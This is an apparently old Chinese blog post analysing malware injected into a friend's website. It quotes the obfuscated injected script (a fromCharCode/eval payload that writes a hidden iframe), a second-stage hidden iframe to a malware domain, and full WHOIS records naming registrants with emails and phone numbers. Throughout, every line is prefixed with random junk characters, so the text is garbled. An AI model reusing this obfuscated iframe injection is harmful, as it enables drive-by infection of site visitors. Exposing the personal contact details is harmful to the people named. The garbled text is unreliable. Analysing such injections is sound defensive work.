首发在我的博客里面，
-~nU&$ccL fM[Qn*. http://www.areway.cn/?p=175 j%2l%Mx( px@:t} q,#j
* 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
l?F&I.{J xQ4'$rL1d <script>t=’60,105,102,114,97,109,101,
^)r^k8y' 32,115,114,99,61,104,116,116,112,58,47,47,
On[:]# 102,114,101,101,46,117,45,117,117,117,46,99,
[fN?=,8 110,47,101,114,114,111,114,46,104,116,109,
"pb$[*_@$ 32,119,105,100,116,104,61,49,48,48,32,104,
mN>7vJ 101,105,103,104,116,61,48,62,60,47,105,102,
eR' Df" + 114,97,109,101,62′;
q*^Y8s~ 3I t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
uXs.7+f ~0mO<0~ <script>t=’60,105,102,114,97,109,101,32,115,
-`z`K08sT 114,99,61,104,116,116,112,58,47,47,102,114,
d)' am
3Q 101,101,46,117,45,117,117,117,46,99,110,47,
F
%OA 101,114,114,111,114,46,104,116,109,32,119,
j,q8n`@ 105,100,116,104,61,49,48,48,32,104,101,105,
=j%B`cJ66_ 103,104,116,61,48,62,60,47,105,102,114,97,
9<0p1W O 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
#6XN_< document.write(t);</script>
B{\cV-X$0 0JQ0lzk1 <html xmlns=”
K#j<G]I( @ http://www.w3.org/1999/xhtml LX%K*nlj “>
EhEUkZE3 ) <head>
&< !DNXQ <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
< ,U=w[cH <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
hXsd12 <title>首页 - 爱生活家庭网
/~w!7 n<7 fS08q9,S / 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
0 ?)U?=>]p 转换字符串后的大概内容是（谁点击后果自付）：
xc%\%8C} <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
I 3;{II EXlmIY4 查询玉米u-uuu.cn的详细信息：
X!} t` ` Domain Name: u-uuu.cn
w" s; R8 ROID: 20070901s10001s64972306-cn
Y{6vW-z_< Domain Status: ok
_l?InNv Registrant Organization: 王雷
(!-gX" <b Registrant Name: 王雷
-E6#G[JJ Administrative Email:
czlovexs@126.com ]7 qn&(] Sponsoring Registrar: 北京万网志成科技有限公司
SZO$# Name Server:ns.yovole.com
<h(KI Y9T Name Server:ns1.yovole.com
tx$kD 2 Registration Date: 2007-09-01 17:54
P8tpbdZE- Expiration Date: 2008-09-01 17:54
l+6y$2 QR 最后PING了一下地址 都没有什么….
}T@^wY_Ow J%G
EIe| 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
9(;5!q,Gsg <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
~F?vf@k <script language=”javascript” src=”
/az}<r8 http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script .A;e` cKb >
Z`5jX;Z! 这个玉米应该有可能是木马作者的：
X$o $ 8s foafau.info的详细信息：
oF1{/ERS Access to INFO WHOIS information is provided to assist persons in
E kb9=/ determining the contents of a domain name registration record in the
~ H [ Afilias registry database. The data in this record is provided by
_ZM$&6EC Afilias Limited for informational purposes only, and Afilias does not
{Y> 5 [gp guarantee its accuracy. This service is intended only for query-based
G ZxM44fP access. You agree that you will use this data only for lawful purposes
fE1B1j< and that, under no circumstances will you use this data to: (a) allow,
6jv_j[[ enable, or otherwise support the transmission by e-mail, telephone, or
d~bZOy facsimile of mass unsolicited, commercial advertising or solicitations
ao4"=My*G to entities other than the data recipient’s own existing customers; or
>s
4 "2X (b) enable high volume, automated, electronic processes that send
U(lcQC`$ queries or data to the systems of Registry Operator, a Registrar, or
J~=bW \^I Afilias except as reasonably necessary to register domain names or
l@ +lUx8 modify existing registrations. All rights reserved. Afilias reserves
%4F
Q ~ the right to modify these terms at any time. By submitting this query,
8(yZX4OH> you agree to abide by this policy.
hu?Q,[+o Domain ID:D22418703-LRMS
g"k1O Domain Name:FOAFAU.INFO
8>T#sO?+ Created On:20-Nov-2007 16:05:42 UTC
Y ^s_v_s Last Updated On:20-Nov-2007 16:05:44 UTC
|eN#9Bm Expiration Date:20-Nov-2008 16:05:42 UTC
9g*O;0 uz Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
!Zo we*` Status:CLIENT DELETE PROHIBITED
qOA+ao Status:CLIENT RENEW PROHIBITED
Y(aEp_kV Status:CLIENT TRANSFER PROHIBITED
!+sC'/ Status:CLIENT UPDATE PROHIBITED
#6t 4 vJ1 Status:TRANSFER PROHIBITED
"r!>p\.0O Registrant ID:GODA-040110615
#w%d Registrant Name:liu hong
)7$1Da|. Registrant Organization:
p`/"e<TP Registrant Street1:beijing
J1i{n7f=@ Registrant Street2:
t)#8r,9c Registrant Street3:
f`r o {p Registrant City:beijing
[I*)H7pt} Registrant State/Province:
h |Of i Registrant Postal Code:100000
gMN >`Z`fV Registrant Country:CN
Rm@#GP`
Registrant Phone:+86.860108888777
26SXuFJ@ Registrant Phone Ext.:
$w,?%i97 Registrant FAX:
CSKOtqKQ) Registrant FAX Ext.:
9CBKU4JQ Registrant Email:bbbshiji@163.com
r7Vt,{4/ Admin ID:GODA-240110615
t>hoXn^- Admin Name:liu hong
5yOIwzr&Uu Admin Organization:
t0*kL. Admin Street1:beijing
fQW1&lFT Admin Street2:
0P{^aSxTP Admin Street3:
U2v;[ >=] Admin City:beijing
[HRry2#s Admin State/Province:
$|kq{@< Admin Postal Code:100000
^Rr !YnEN Admin Country:CN
<x QvS^|[ Admin Phone:+86.860108888777
zKh^BwhO|X Admin Phone Ext.:
o,-p[1b Admin FAX:
qPI\Y3ZU Admin FAX Ext.:
s9[?{ }gd Admin Email:bbbshiji@163.com
|j 9d.M Billing ID:GODA-340110615
<z'Pj7c[ Billing Name:liu hong
sj9j 47y Billing Organization:
6?;U[ eV Billing Street1:beijing
% G'{G Billing Street2:
4>x$I9^Y! Billing Street3:
/"(`oe< Billing City:beijing
1 X8P v*, Billing State/Province:
y4\(ynk Billing Postal Code:100000
JfOBZQ Billing Country:CN
a&^HvXO(>( Billing Phone:+86.860108888777
+9^V9]{Vo Billing Phone Ext.:
Vy.gr4Cm Billing FAX:
Mh =yIx</ Billing FAX Ext.:
/M, C%.- Billing Email:bbbshiji@163.com
~Q+E" " Tech ID:GODA-140110615
;;4>vF #* Tech Name:liu hong
m|')
A Tech Organization:
O/XG}G.x| Tech Street1:beijing
d4ga6N3' Tech Street2:
9"W 3t] Tech Street3:
}3 825 Tech City:beijing
"[wkjNf% Tech State/Province:
DpRGPs Tech Postal Code:100000
5T*Uq>x0 Tech Country:CN
G ' 1K6 Tech Phone:+86.860108888777
3_DwqZ 'O Tech Phone Ext.:
-dto46X Tech FAX:
;J uBybJb Tech FAX Ext.:
#QUQC2P(~ Tech Email:bbbshiji@163.com
S g &0a$ Name Server:NS27.DOMAINCONTROL.COM
e/7rr~"| Name Server:NS28.DOMAINCONTROL.COM
;\'d9C Name Server:
pZ `^0#Fo Name Server:
w@
^)nIf)9}7 
*'-[J 2 
B>; `$- 
Y 9}ga 4 
W>_K+: t 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
